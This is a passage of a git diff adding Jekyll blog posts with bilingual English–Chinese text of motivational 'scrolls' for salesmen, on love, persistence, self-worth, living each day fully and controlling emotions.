the sun for it warms my bones; yet I will love the rain for it cleanses my spirit. I will love the light for it shows me the way; yet I will love the darkness for it shows me the stars. I will welcome happiness for it enlarges my heart; yet I will endure sadness for it opens my soul. I will acknowledge rewards for they are my due; yet I will welcome obstacles for they are my challenge. + +我该怎样做呢？从今往后，我对一切都要充满爱心，这样才能获得新生。我爱太阳，它温暖我的身体；我爱雨水，它洗净我的灵魂；我爱阳光，它为我指引道路；我也爱黑夜，它让我看到星辰；我迎接快乐，它使我心胸开阔；我忍受悲伤，它升华我的灵魂；我接受报酬，因为我为此付出汗水；我不怕困难，因为它们给我挑战。 + +[2:6] + +I will greet this day with love in my heart. + +我要用全身心的爱来迎接今天。 + +[2:7] + +And how will I speak? I will laud mine enemies and they will become friends; I will encourage my friends and they will become brothers. Always will I dig for reasons to applaud; never will I scratch for excuses to gossip. When I am tempted to criticize I will bite on my tongue; when I am moved to praise I will shout from the roofs. + +我该怎么说呢？我赞美敌人，敌人于是成为朋友；我鼓励朋友，朋友于是成为手足。我要常想理由赞美别人，绝不搬弄是非，道人长短。想要批评人时，咬住舌头，想要赞美人时，高声表达。 + +[2:8] + +Is it not so that birds, the wind, the sea and all nature speaks with the music of praise for their creator? Cannot I speak with the same music to his children? Henceforth will I remember this secret and it will change my life. + +飞鸟，清风，海浪，自然界的万物不都在用美妙动听的歌声来赞美造物主吗？我也要同样的歌声赞美我的儿女。从今往后，我要记住这个秘密。它将改变我的生活。 + +[2:9] + +I will greet this day with love in my heart. + +我要用全身心的爱来迎接今天。 + +[2:10] + +And how will I act? I will love all manners of men for each has qualities to be admired even though they be hidden. With love I will tear down the wall fo suspicion and hate which they have built round their hearts and in its place will I build bridges so that my love may enter their souls. + +我该怎么行动呢？我要爱每个人的言谈举止，因为人人都有值得钦佩的性格，虽然有时不易察觉。我要用爱摧毁困住人们心灵的高墙，那充满怀疑与仇恨的围墙。我要铺一座通向人们心灵的桥梁。 + +[2:11] + +I will love the ambitious for they can inspire me! I will love the failures for they can teach me. I will love the kings for they are but human; I will love the meek for they are divine. I will love the rich for they are yet lonely; I will love the poor for they are so many. I will love the young for the faith they hold; I will love the beautiful for their eyes of sadness; I will love the ugly for their souls of peace. + +我爱雄心勃勃的人，他们给我灵感；我爱失败的人，他们给我教训；我爱王侯将相，因为他们也是凡人；我爱谦逊之人，因为他们非凡；我爱富人，因为他们孤独；我爱穷人，因为穷人太多了；我爱少年，因为他们真诚；我爱长者，因为他们有智慧；我爱美丽的人，因为他们眼中流露着凄迷；我爱丑陋的人，因为他们有颗宁静的心。 + +[2:12] + +I will greet this day with love in my heart. + +我要用全身心的爱来迎接今天。 + +[2:13] + +But how will I react to the actions of others? With love. For just as love is my weapon to open the hearts of men, love is also my shield to repulse the arrows of hate and the spears of anger. Adversity and discouragement will beat against my new shield and become as the softest of rains. My shield will protect me in the market place and sustain me when I am alone. It will uplift me in moments of despair yet it will calm me in time of exultation. It will become stronger and more protective with use until one day I will cast it aside and walk unencumbered among all manners of men and, when I do, my name will be raised high on the pyramid of life. + +我该怎样回应他人的行为呢？用爱心。爱是我打开人们心扉的钥匙，也是我抵挡仇恨之箭与愤怒之矛的盾牌。爱使挫折变得如春雨般温和，它是我商场上的护身符。孤独时，给我支持；绝望时，使我振作；狂喜时，让我平静。这种爱心会一天天加强。越发具有保护力，直到有一天,我可以自然地面对芸芸众生，处事泰然。 + +[2:14] + +I will greet this day with love in my heart. + +我要用全身心的爱来迎接今天。 + +[2:15] + +And how will I confront each whom I meet? In only one way. In silence and to myself I will address him and say I Love You. Though spoken in silence these words will shine in my eyes, unwrinkle my brow, bring a smile to my lips, and echo in my voice; and hisheart will be opened. And who is there who will say nay to my goods when his heart feels my love? + +我该怎样面对遇到的每一个人呢？只有一种办法，我要在心里默默地为他祝福。这无言的爱会闪现在我的眼神里，流露在我的眉宇间，让我嘴角挂上微笑，在我的声音里响着共鸣。在这无声的爱意里，他的心扉问我敞开，他不再拒绝我推销的货物。 + +[2:16] + +I will greet this day with love in my heart. + +我要用全身心的爱来迎接今天。 + +[2:17] + +And most of all I will love myself. For when I do I will zealously inspect all things which enter my body, my mind, my soul, and my heart. Never will I overindulge the requests of my flesh, rather I will cherish my body with cleanliness and moderation. Never will I allow my mind to be attracted to evil and despair, rather I will uplift it with the knowledge and wisdom of the ages. Never will I allow my soul to become complacent and satisfied, rather I will feed it with meditation and prayer. Never will I allow my heart to become small and bitter, rather I will share it and it will grow and warm the earth. + +最主要的，我要爱自己。只有这样，我才会认真检查进入我的身体，思想，精神，头脑，灵魂，心怀的一切东西。我绝不放纵肉体的需求，我要用清洁与节制来珍惜我的身体。我绝不让头脑受到邪恶与绝望的引诱，我要用智慧和知识使之升华。我绝不让灵魂陷入自满的状态，我要用深思和祈祷来滋润它。我绝不让心怀狭窄，我要与人分享，让它成长，温暖整个世界。 + +[2:18] + +I will greet this day with love in my heart. + +我要用全身心的爱来迎接今天。 + +[2:19] + +Henceforth will I love all mankind. From this moment all hate is let from my veins for I have no time to hate, only time to love. From this moment I take the first step required to become a man among men. With love I will increase my sales a hundredfold and become a great salesman. If I have no other qualities I can succeed with love alone. Without it I will fail though I possess all the knowledge and skills of the world. + +从今往后，我要爱所有的人。仇恨将从我的血管中流走。我没有时间去恨，只有时间去爱。现在，我迈出成为一个优秀的人的第一步。有了爱，我将成为伟大的推销员，即使才疏智短，也能以爱心获得成功；相反地，如果没有爱，即使博学多识，也终将失败。 + +[2:20] + +I will greet this day with love, and I will succeed. + +我要用全身心的爱来迎接今天。 \ No newline at end of file diff --git a/_posts/2019-06-12-417-the-scroll-marked03.md b/_posts/2019-06-12-417-the-scroll-marked03.md new file mode 100644 index 0000000..d8eff94 --- /dev/null +++ b/_posts/2019-06-12-417-the-scroll-marked03.md @@ -0,0 +1,140 @@ +--- +layout: post +title: 羊皮卷 第三道 +pid: 417 +tags: [羊皮卷] +--- + + + +The Scroll Marked Three + +第三道羊皮卷 + +[3:1] + +I will persist until I succeed. + +坚持不懈。直到成功。 + +[3:2] + +In the Orient young bulls are tested for the fight arena in a certain manner. Each is brought to the ring and allowed to attack a picador who pricks them with a lance. The bravery of each bull is then rated with care according to the number of times he demonstrates his willingness to charge in spite of the sting of the blade. Henceforth will I recognize that each day I am tested by life in like manner. If I persist, if I continue to try, if I continue to charge forward, I will succeed. + +在古老的东方，挑选小公牛列竞技场格斗有一定的程序，它们被带进场地，向手持长矛的斗士攻击，裁判以它受挫后再向斗牛士进攻的次数多寡来评定这只公牛的勇敢程度。从今往后，我须承认，我的生命每天都在接受类似的考验。如果我坚韧不拔，勇往直前，迎接挑战。那么，我一定会成功。 + +[3:3] + +I will persist until I succeed. + +坚持不懈，直到成功。 + +[3:4] + +I was not delivered unto this world in defeat, nor does failure course in my veins. I am not a sheep waiting to be prodded by my shepherd. I am a lion and I refuse to talk, to walk, to sleep with the sheep. I will hear not those who weep and complain, for their disease is contagious. Let them join the sheep. The slaughterhouse of failure is not my destiny. + +我不是为了失败才来到这个世界上的，我的血管里也没有失败的血液在流动。我不是任人鞭打的羔羊，我是猛狮，不与羊群为伍。我不想听失意者的哭泣，抱怨者的牢骚，这是羊群中的瘟疫，我不能让它传染。失败者的屠宰场不是我命运的归宿。 + +[3:5] + +I will persist until I succeed. + +坚持不懈，直到成功。 + +[3:6] + +The prizes of life are at the end of each journey, not near the beginning; and it is not given to me to know how many steps are necessary in order to reach my goal. Failure I may still encounter at the thousandth step, yet success hides behind the next bend in the road. Never will I know how close it lies unless I turn the corner. + +生命的奖赏远在旅途终点，而非起点附近。我不知道要走多少步才能达到目标。踏上第一千步的时候，仍然可能遭到失败。但成功就藏在拐角后面，除非拐了弯，我永远不知道还有多远。 + +[3:7] + +Always will I take another step. If that is of no avail I will take another, and yet another. In truth, one step at a time is not too difficult. + +再前进一步，如果没有用，就再向前一点儿。事实上，每次进步一点点并不太难。 + +[3:8] + +I will persist until I succeed. + +坚持不懈，直到成功。 + +[3:9] + +Henceforth, I will consider each day's effort as but one blow of my blade against a mighty oak. The first blow may cause not a tremor in the wood, nor the second, nor the third. Each blow, of itself, may be trifling, and seem of no consequence. Yet from childish swipes the oak will eventually tumble. So it will be with my efforts of today. + +从今往后，我承认每天的奋斗就像对参天大树的一次砍击，头几刀可能了无痕迹。每一击者似微不足道，然而，累积起来，巨树终会倒下。这恰如我今天的努力。 就像冲洗高山的雨滴，吞噬猛虎的蚂蚁，照亮大地的星辰，建起金字塔的奴隶， + +[3:10] + +I will be liken to the raindrop which washes away the mountain; the ant who devours a tiger; the star which brightens the earth; the slave who builds a pyramid. I will build my castle one brick at a time for I know that small attempts, repeated, will complete any undertaking. + +我也要一砖一瓦地建造起自己的城堡，因为我深知水滴石穿的道理，只要持之以恒，什么都可以做到。 + +[3:11] + +I will persist until I succeed. + +坚持不懈，直到成功。 + +[3:12] + +I will never consider defeat and I will remove from my vocabulary such words and phrases as quit, cannot, unable, impossible, out of the question, improbable, failure, unworkable, hopeless, and retreat; for they are the words of fools. I will avoid despair but if this disease of the mind should infect me then I will work on in despair. I will toil and I will endure. I will ignore the obstacles at my feet and keep mine eyes on the goals above my head, for I know that where dry desert ends, green grass grows. + +我绝不考虑失败，我的字典里不再有放弃，不可能、办不到、没法子、成问题、失败、行不通、没希望、退缩…这类愚蠢的字眼。我要尽量避免绝望，一旦受到它的威胁，立即想方设法向它挑战。我要辛勤耕耘，忍受苦楚。我放眼未来，勇往直前，不再理会脚下的障碍。我坚信，沙漠尽头必是绿洲。 + +[3:13] + +I will persist until I succeed. + +坚持不懈，直到成功。 + +[3:14] + +I will remember the ancient law of averages and I will bend it to my good. I will persist with knowledge that each failure to sell will increase my chance for success at the next attempt. Each nay I hear will bring me closer to the sound of yea. Each frown I meet only prepares me for the smile to come. Each misfortune I encounter will carry in it the seed of tomorrow's good luck. I must have the night to appreciate the day. I must fail often to succeed only once. + +我要牢牢记住古老的平衡法则，鼓励自己坚持下去，因为每一次的失败都会增加下一次成功的机会。这一次的拒绝就是下一次的赞同，这一次皱起的眉头就是下一次舒展的笑容。今天的不幸，往往预示着明天的好运。夜幕降临。回想一天的遭遇。我总是心存感激。我深知，只有失败多次，才能成功。 + +[3:15] + +I will persist until I succeed. + +坚持不懈，直到成功。 + +[3:16] + +I will try, and try, and try again. Each obstacle I will consider as a mere detour to my goal and a challenge to my profession. I will persist and develop my skills as the mariner develops his, by learning to ride out the wrath of each storm. + +我要尝试，尝试，再尝试。障碍是我成功路上的弯路，我迎接这项挑战。我要像水手一样，乘风破浪。 + +[3:17] + +I will persist until I succeed. + +坚持不懈，直到成功。 + +[3:18] + +Henceforth, I will learn and apply another secret of those who excel in my work. When each day is ended, not regarding whether it has been a success or a failure, I will attempt to achieve one more sale. When my thoughts beckon my tired body homeward I will resist the temptation to depart. I will try again. I will make one more attempt to close with victory, and if that fails I will make another. Never will I allow any day to end with a failure. Thus will I plant the seed of tomorrow's success and gain an insurmountable advantage over those who cease their labor at a prescribed time. When others cease their struggle, the mine will begin, and my harvest will be full. + +从今往后，我要借鉴别人成功的秘诀。过去的是非成败，我全不计较，只抱定信念，明天会更好。当我精疲力歇时，我要抵制回家的诱惑，再试一次，我一试再试。争取每一天的成功，避免以失败收场。我要为明天的成功播种，超过那些按部就班的人。在别人停滞不前时，我继续拼搏，终有一天我会丰收。 + +[3:19] + +Nor will I allow yesterday's success to lull me into today's complacency, for this is the great foundation of failure. I will forget the happenings of the day that is gone, whether they were good or bad, and greet the new sun with confidence that this will be the best day of my life. + +我不因昨日的成功而满足，因为这是失败的先兆。我要忘却昨日的一切，是好是坏，都让它随风而去。我信心百倍，迎接新的太阳，相信"今天是此生最好的一天"。 + +[3:20] + +So long as there is breath in me, that long will I persist. For now I know one of the greatest principles of success; if I persist long enough I will win. + +只要我一息尚存，就要坚持到底，因为我已深知成功的秘诀： + +[3:21] + +I will persist. I will win. + +坚持不懈，终会成功。 \ No newline at end of file diff --git a/_posts/2019-06-12-418-the-scroll-marked04.md b/_posts/2019-06-12-418-the-scroll-marked04.md new file mode 100644 index 0000000..a05ab80 --- /dev/null +++ b/_posts/2019-06-12-418-the-scroll-marked04.md @@ -0,0 +1,164 @@ +--- +layout: post +title: 羊皮卷 第四道 +pid: 418 +tags: [羊皮卷] +--- + + + +The Scroll Marked IV + +第四道羊皮卷 + +[4:1] + +I am nature's greatest miracle. + +我是自然界最伟大的奇迹。 + +[4:2] + +Since the beginning of time never has there been another with my mind, my heart, my eyes, my ears, my hands, my hair, my mouth. None that came before, none that live today, and none that come tomorrow can walk and talk and move and think exactly like me. All men are my brothers yet I am different from each. I am a unique creature. + +自从上帝创造了天地万物以来，没有一个人和我一样，我的头脑、心灵、眼睛、耳朵、双手、头发、嘴唇都是与众不同的。言谈举止和我完全一样的人以前没有，现在没有，以后也不会有．虽然四海之内皆兄弟，然而人人各异。我是独一无二的造化。 + +[4:3] + +I am nature's greatest miracle. + +我是自然界最伟大的奇迹。 + +[4:4] + +Although I am of the animal kingdom, animal rewards alone will not satisfy me. Within me burns a flame, which has been passed from generations uncounted and its heat is a constant irritation to my spirit to become better than I am, and I will. I will fan this flame of dissatisfaction and proclaim my uniqueness to the world. + +我不可能像动物一样容易满足，我心中燃烧着代代相传的火焰，它激励我超越自己，我要使这团火燃得更旺，向世界宣布我的出类拔萃。 + +[4:5] + +None can duplicate my brush strokes, none can make my chisel marks, none can duplicate my handwriting, none can produce my child, and, in truth, none has the ability to sell exactly as I. Henceforth, I will capitalize on this difference for it is an asset to be promoted to the fullest. + +没有人能模仿我的笔迹，我的商标，我的成果，我的推销能力。从今往后，我要使自己的个性充分发展，因为这是我得以成功的一大资本。 + +[4:6] + +I am nature's greatest miracle. + +我是自然界最伟大的奇迹。 + +[4:7] + +Vain attempts to imitate others no longer will I make. Instead will I place my uniqueness on display in the market place. I will proclaim it, yea, I will sell it. I will begin now to accent my differences; hide my similarities. So too will I apply this principle to the goods I sell. Salesman and goods, different from all others, and proud of the difference. + +我不再徒劳地模仿别人，而要展示自己的个性。我不但要宣扬它，还要推销它。我要学会去同存异，强调自己与众不同之处，回避人所共有的通性，并且要把这种原则运用到商品上。推销员和货物，两者皆独树一帜，我为此而自豪。 + +[4:8] + +I am a unique creature of nature. + +我是独一无二的奇迹。 + +[4:9] + +I am rare, and there is value in all rarity; therefore, I am valuable. I am the end product of thousands of years of evolution; therefore, I am better equipped in both mind and body than all the emperors and wise men who preceded me. + +物以稀为贵，我独行特立，因而身价百倍。我是千万年进化的终端产物，头脑和身体都超过以往的帝王与智者。 + +[4:10] + +But my skills, my mind, my heart, and my body will stagnate, rot, and die lest I put them to good use. I have unlimited potential. Only a small portion of my brain do I employ; only a paltry amount of my muscles do I flex. A hundredfold or more can I increase my accomplishments of yesterday and this I will do, beginning today. + +但是，我的技艺，我的头脑，我的心灵，我的身体，若不善加利用，都将随着时间的流逝而迟钝，腐朽，甚至死亡。我的潜力无穷无尽，脑力、体能稍加开发，就能超过以往的任何成就。从今天开始。我就要开发潜力。 + +[4:11] + +Nevermore will I be satisfied with yesterday's accomplishments nor will I indulge, anymore, in self-praise for deeds which in reality are too small to even acknowledge. I can accomplish far more than I have, and I will, for why should the miracle which produced me end with my birth? Why can I not extend that miracle to my deeds of today? + +我不再因昨日的成绩沾沾自喜，不再为微不足道的成绩目吹自擂。我能做的比已经完成的更好。我的出生并非最后一样奇迹，为什么自己不能再创奇迹呢？ + +[4:12] + +I am nature's greatest miracle. + +我是自然界最伟大的奇迹。 + +[4:13] + +I am not on this earth by chance. I am here for a purpose and that purpose is to grow into a mountain, not to shrink to a grain of sand. Henceforth will I apply all my efforts to become the highest mountain of all and I will strain my potential until it cries for mercy. + +我不是随意来到这个世上的。我生来应为高山，而非草芥。从今往后，我要竭尽全力成为群峰之巅，将我的潜能发挥到最大限度。 + +[4:14] + +I will increase my knowledge of mankind, myself, and the goods I sell, thus my sales will multiply. I will practice, and improve, and polish the words I utter to sell my goods, for this is the foundation on which I will build my career and never will I forget that many have attained great wealth and success with only one sales talk, delivered with excellence. Also will I seek constantly to improve my manners and graces, for they are the sugar to which all are attracted. + +我要汲取前人的经验，了解自己以及手中的货物，这样才能成倍地增加销量。我要字斟句酌，反复推敲推销时用的语言。因为这是成就事业的关键。我绝不忘记，许多成功的商人，其实只有一套说词。却能使他们无往不利。我也要不断改进自己的仪态和风度，因为这是吸引别人的美德。 + +[4:15] + +I am nature's greatest miracle. + +我是自然界里最伟大的奇迹。 + +[4:16] + +I will concentrate my energy on the challenge of the moment and my actions will help me forget all else. The problems of my home will be left in my home. I will think naught of my family when I am in the market place for this will cloud my thoughts. So too will the problems of the market place be left in the market place and I will think naught of my profession when I am in my home for this will dampen my love. + +我要专心致志对抗眼前的挑战，我的行动会使我忘却其它一切，不让家事缠身。身在商场，不可恋家，否则将会使我思想浑浊。另一方面，当我与家人同处时，一定得把工作留在门外，否则会使家人感到冷落。 + +[4:17] + +There is no room in the market place for my family, nor is there room in my home for the market. Each I will divorce from the other and thus will I remain wedded to both. Separate must they remain or my career will die. This is a paradox of the ages. + +商场上没有一块属于家人的地方，同样，家中也没有谈论商务的地方，这两者必须截然分开，否则就会顾此失彼，这是很多人难以走出的误区． + +[4:18] + +I am nature's greatest miracle. + +我是自然界最伟大的奇迹。 + +[4:19] + +I have been given eyes to see and a mind to think and now I know a great secret of life for I perceive, at last, that all my problems, discouragements, and heartaches are, in truth, great opportunities in disguise. I will no longer be fooled by the garments they wear for mine eyes are open. I will look beyond the cloth and I will not be deceived. + +我有双眼，可以观察；我有头脑，可以思考。现在，我已洞悉了一个人生中伟大的奥秘。我发现，一切问题、沮丧、悲伤，都是乔装打扮的机遇之神。我不再被他们的外表所蒙骗，我已睁开双眼，看破了他们的伪装。 + +[4:20] + +I am nature's greatest miracle. + +我是自然界最伟大的奇迹． + +[4:21] + +No beast, no plant, no wind, no rain, no rock, no lake had the same beginning as I, for I was conceived in love and brought forth with a purpose. In the past I have not considered this fact but it will henceforth shape and guide my life. + +飞禽走兽、花草树木、风雨山石、河流湖泊，都没有像我一样的起源，我孕育在爱中，肩负使命而生。过去，我忽略了这个事实，从今往后，它将塑造我的性格，引导我的人生。 + +[4:22] + +I am nature's greatest miracle. + +我是自然界最伟大的奇迹。 + +[4:23] + +And nature knows not defeat. Eventually, she emerges victorious and so will I, and with each victory the next struggle becomes less difficult. + +自然界不知何谓失败，终以胜利者的姿态出现，我也要如此，因为成功一旦降临，就会再度光顾。 + +[4:24] + +I will win, and I will become a great salesman, for I am unique. + +我会成功，我会成为伟大的推销员，因为我举世无双。 + +[4:25] + +I am nature's greatest miracle. + +我是自然界最伟大的奇迹。 \ No newline at end of file diff --git a/_posts/2019-06-12-419-the-scroll-marked05.md b/_posts/2019-06-12-419-the-scroll-marked05.md new file mode 100644 index 0000000..45d12db --- /dev/null +++ b/_posts/2019-06-12-419-the-scroll-marked05.md @@ -0,0 +1,116 @@ +--- +layout: post +title: 羊皮卷 第五道 +pid: 419 +tags: [羊皮卷] +--- + + + +The Scroll Marked V + +第五道羊皮卷 + +[5:1] + +I will live this day as if it is my last. + +假如今天是我生命中的最后一天。 + +[5:2] + +And what shall I do with this last precious day which remains in my keeping? First, I will seal up its container of life so that not one drop spills itself upon the sand. I will waste not a moment mourning yesterday’s misfortunes, yesterday’s defeats, yesterday's aches of the heart, for why should I throw good after bad? + +我要如何利用这最后，最宝贵的一天呢？首先，我要把一天的时间珍藏好，不让一分一秒的时间滴漏。不为昨日的不幸叹息，过去的已够不幸，不要再赔上今天的运道。 + +[5:3] + +Can sand flow upward in the hour glass? Will the sun rise where it sets and set where it rises? Can I relive the errors of yesterday and right them? Can I call back yesterday's wounds and make them whole? Can I become younger than yesterday? Can I take back the evil that was spoken, the blows that were struck, the pain that was caused? No. Yesterday is buried forever and I will think of it no more. + +时光会倒流吗？太阳会西起东落吗？我可以纠正昨天的错误吗？我能扶平昨日的创伤吗？我能比昨天年轻吗？一句出口的恶言，一记挥出的拳头，一切造成的伤痛，能收回吗？不能！过去的永远过去了，我不再去想它。 + +[5:4] + +I will live this day as if it is my last. + +假如今天是我生命中的最后一天。 + +[5:5] + +And what then shall I do? Forgetting yesterday neither will I think of tomorrow. Why should I throw note after maybe? Can tomorrow's sand flow through the glass before today's? Will the sun rise twice this morning? Can I perform tomorrow's deeds while standing in today's path? Can I place tomorrow's gold in today's purse? Can tomorrow’s child be born today? Can tomorrow's death cast its shadow backward and darken today's joy? Should I concern myself over events which l may never witness? Should I torment myself with problems that may never come to pass? No! Tomorrow lies buried with yesterday, and I will think of it no more. + +我该怎么办？忘记昨天，也不要痴想明天。明天是一个未知数，为什么要把今天的精力浪费在未知的事上？想着明天的种种，今天的时光也白白流逝了。企盼今早的太阳再次升起，太阳已经落山。走在今天的路上，能做明天的事吗?我能把明天的金币放进今天的钱袋里吗？明日瓜熟，今日能落地吗？明天的死亡能将今天的欢乐蒙上阴影吗？我能杞人忧天吗？明天和昨天一样被我埋葬，我不再想它。 + +[5:6] + +I will live this day as if it is my last. + +今天是我生命中的最后一天。 + +[5:7] + +This day is all I have and these hours are now my eternity. I greet this sunrise with cries of joy as a prisoner who is reprieved from death. I lift mine arms with thanks for this priceless gift of a new day. So too, I will beat upon my heart with gratitude as I consider all who greeted yesterday's sunrise who are no longer with the living today. I am indeed a fortunate man and today's hours are but a bonus, undeserved. Why have I been allowed to live this extra day when others, far better than I, have departed? Is it that they have accomplished their purpose while mine is yet to be achieved? Is this another opportunity for me to become the man I know I can be? Is there a purpose in nature? Is this my day to excel? + +这是我仅有的一天，是现实的永恒。我像被赦免死刑的囚犯，用喜悦的泪水拥抱新生的太阳。我举起双手，感谢这无与伦比的一天。当我想到昨天和我一起迎接日出的朋友，今天已不复存在时，我为自己的幸存，感激上苍。我是无比幸运的人，今天的时光是额外的奖赏。许多强者都先我而去，为什么我得到这额外的一天？是不是因为他们已大功告成，而我尚在途中跋涉？如果这样，这是不是成就我的一次机会，让我功德圆满？造物主的安排是否别具匠心？今天是不是我超越他人的机会？ + +[5:8] + +I will live this day as if it is my last. + +今天是我生命中的最后一天。 + +[5:9] + +I have but one life and life is naught but a measurement of time. When I waste one I destroy the other. If I waste today I destroy the last page of my life. Therefore, each hour of this day will I cherish for it can never return. It cannot be banked today to be withdrawn on the morrow, for who can trap the wind? Each minute of this day will I grasp with both hands and fondle with love for its value is beyond price. What dying man can purchase another breath though he willingly give all his gold? What price dare I place on the hours ahead? I will make them priceless! + +生命只有一次，而人生也不过是时间的累积。我若让今天的时光白白流逝，就等于毁掉人生最后一页。因此，我珍惜今天的一分一秒，因为它们将一去不复返。我无法把今天存入银行，明天再来取用。时间像风一样不可捕捉。每一分一秒，我要用双手捧住，用爱心抚慰，因为它们如此宝贵。垂死的人用毕生的钱财都无法换得一口生气。我无法计算时间的价值，它们是无价之宝； + +[5:10] + +I will live this day as if it is my last. + +今天是我生命中的最后一天。 + +[5:11] + +I will avoid with fury the killers of time. Procrastination I will destroy with action; doubt I will bury under faith; fear I will dismember with confidence. Where there are idle mouths I will listen not; where there are idle hands I will linger not; where there are idle bodies I will visit not. Henceforth I know that to court idleness is to steal food, clothing, and warmth from those I love. I am not a thief. I am a man of love and today is my last chance to prove my love and my greatness. + +我憎恨那些浪费时间的行为．我要摧毁拖延的习惯。我要以真诚埋葬怀疑，用信心驱赶恐惧。我不听闲话、不游手好闲，不与不务正业的人来往。我终于醒悟到，若是懒惰，无异于从我所心爱的人手中窃取食物和衣裳。我不是贼，我有爱心，今天是我最后的机会，我要证明我的爱心和伟大。 + +[5:12] + +I will live this day as if it is my last. + +今天是我生命中的最后一天。 + +[5:13] + +The duties of today I shall fu1fill today. Today I shall fondle my children while they are young; tomorrow they will be gone, and so will I. Today I shall embrace my woman with sweet kisses; tomorrow she will be gone, and so will I. Today I shall lift up a friend in need; tomorrow he will no longer cry for help, nor will I hear his cries. Today I shall give myself in sacrifice and work; tomorrow I will have nothing to give, and there will be none to receive. + +今日事今日毕。今天我要趁孩子还小的时候，多加爱护，明天他们将离我而去，我也会离开。今天我要深情地拥抱我的妻子，给她甜蜜的热吻，明天她会离去，我也是。今天我要帮助落难的朋友，明天他不再求援，我也听不到他的哀求。我要乐于奉献，因为明天我无法给予，也没有人来领受了。 + +[5:14] + +I will live this day as if it is my last. + +今天是我生命中的最后一天。 + +[5:15] + +And if it is my last, it will be my greatest monument. This day I will make the best day of my life. This day I will drink every minute to its full. I will savor its taste and give thanks. I will make the every hour count and each minute I will trade only for something of value. I will labor harder than ever before and push my muscles until they cry for relief, and then I will continue. I will make more calls than ever before. I will sell more goods than ever before. I will earn more gold than ever before. Each minute of today will be more fruitful than hours of yesterday. My last must be my best. + +如果这是我的末日，那么它就是不朽的纪念日，我把它当成最美好的日子。我要把每分每秒化为甘露，一口一口，细细品尝，满怀感激。我要每一分钟都有价值。我要加倍努力，直到精疲力竭。即使这样，我还要继续努力。我要拜访更多的顾客，销售更多的货物，赚取更多的财富。今天的每一分钟都胜过昨天的每一小时，最后的也是最好的。 + +[5:16] + +I will live this day as if it is my last. + +假如今天是我生命中的最后一天。 + +[5:17] + +And if it is not, I shall fall to my knees and give thanks. + +如果不是的话，我要跪倒在上苍面前，深深致谢。 \ No newline at end of file diff --git a/_posts/2019-06-12-420-the-scroll-marked06.md b/_posts/2019-06-12-420-the-scroll-marked06.md new file mode 100644 index 0000000..76583e1 --- /dev/null +++ b/_posts/2019-06-12-420-the-scroll-marked06.md @@ -0,0 +1,224 @@ +--- +layout: post +title: 羊皮卷 第六道 +pid: 420 +tags: [羊皮卷] +--- + + + +The Scroll Marked Six + +第六道羊皮卷 + +[6:1] + +Today I will be master of my emotions. + +今天我要学会控制情绪。 + +[6:2] + +The tides advance; the tides recede. Winter goes and summer comes. summer wanes and the cold increases. The sun rises; the sun sets. The moon is full; the moon is black. The birds arrive; the birds depart. Flowers bloom; flowers fade. Seeds are sown; harvests are reaped. all nature is a circle of moods and I am a part of nature and so, like the tides, my moods will rise; my moods will fall. + +潮起潮落，冬去春来，夏末秋至，日出日落，月圆月缺，雁来雁往，花飞花谢，草长瓜熟，自然界万物都在循环往复的变化中，我也不例外，情绪会时好时坏。 + +[6:3] + +Today I will be master of my emotions. + +今天我要学会控制情绪。 + +[6:4] + +It is one of nature's tricks, little understood, that each day I awaken with moods that have changed from yesterday. Yesterday's joy wilI become today's sadness; yet today's sadness will grow into tomorrow's joy. Inside me is a wheel, constantly turning from sadness to joy, from exultation to depression, from happiness to melancholy. Like the flowers, today's full bloom of joy will fade and wither into despondency, yet I will remember that as today's dead flower carries the seed of tomorrow's bloom so, too, does today's sadness carry the seed of tomorrow's joy. + +这是大自然的玩笑，很少有人窥破天机。每天我醒来时，不再有旧日的心绪。昨日的快乐变成今日的哀愁，今日的悲伤又转为明日的喜悦。我心中像一只轮子不停地转着，由乐而悲，由悲而喜，由喜而忧。这就好比花儿的变化，今天绽放的喜悦也会变成凋谢时的绝望，但是我要记住，正如今天枯败的花儿蕴藏着明天新生的种子，今天的悲伤也预示着明天的快乐。 + +[6:5] + +Today I will be master of my emotions. + +今天我要学会控制情绪。 + +[6:6] + +And how will I master these emotions so that each day will be productive? For unless my mood is right the day will be a failure. Trees and plants depend on the weather to flourish but I make my own weather, yea I transport it with me. If I bring rain and gloom and darkness and pessimism to my customers then they will react with rain and gloom and darkness and pessimism and they will purchase naught. If I bring joy and enthusiasm and brightness and laughter to my customers they will react with joy and enthusiasm and brightness and laughter and my weather will produce a harvest of sales and a granary of gold for me. + +我怎样才能控制情绪，以使每天卓有成效呢？除非我心平气和，否则迎来的又将是失败的一天。花草树木，随着气候的变化而生长，但是我为自己创造天气。我要学会用自己的心灵弥补气候的不足。如果我为顾客带来风雨、忧郁、黑暗和悲观，那么他们也会报之于风雨、忧郁、黑暗和悲观，而他们什么也不会买。相反的，如果我们为顾客献上欢乐、喜悦、光明和笑声，他们也会报之以欢乐、喜悦、光明和笑声，我就能获得销售上的丰收，赚取成仓的金币。 + +[6:7] + +Today I will be master of my emotions. + +今天我要学会控制情绪。 + +[6:8] + +And how will I master my emotions so that every day is a happy day, and a productive one? I will learn this secret of the ages: Weak is he who permits his thoughts to control his actions; strong is he who forces his actions to control his thoughts. Each day, when I awaken, I will follow this plan of battle before I am captured by the forces of sadness, self-pity and failure- + +我怎样才能控制情绪，让每天充满幸福和欢乐？我要学会这个千古秘诀：弱者任思绪控制行为，强者让行为控制思绪。每天醒来当我被悲伤、自怜、失败的情绪包围时，我就这样与之抗衡： + +[6:9] + +If I feel depressed I will sing. + +沮丧时，我引吭高歌。 + +[6:10] + +If I feel sad I will laugh. + +悲伤时，我开怀大笑。 + +[6:11] + +If I feel ill I will double my labor. + +病痛时，我加倍工作。 + +[6:12] + +If I feel fear I will plunge ahead. + +恐惧时，我勇往直前。 + +[6:13] + +If I feel inferior I will wear new garments. + +自卑时，我换上新装。 + +[6:14] + +If I feel uncertain I will raise my voice. + +不安时，我提高嗓声。 + +[6:15] + +If I feel poverty I will think of wealth to come. + +穷困潦倒时，我想象未来的富有。 + +[6:16] + +If I feel incompetent I will remember past success. + +力不从心时，我回想过去的成功。 + +[6:17] + +If I feel insignificant I will remember my goals. + +自轻自贱时，我想想自己的目标。 + +[6:18] + +Today I will be master of my emotions. + +总之，今天我要学会控制自己的情绪。 + +[6:19] + +Henceforth, I will know that only those with inferior ability can always be at their best, and I am not inferior. There will be days When I must IN THE WORLD constantly struggle against forces which would tear me down. Those such as despair and sadness are simple to recognize but there are others which approach with a smile and the hand of friendship and they can also destroy me. Against them, too, I must never relinquish control. + 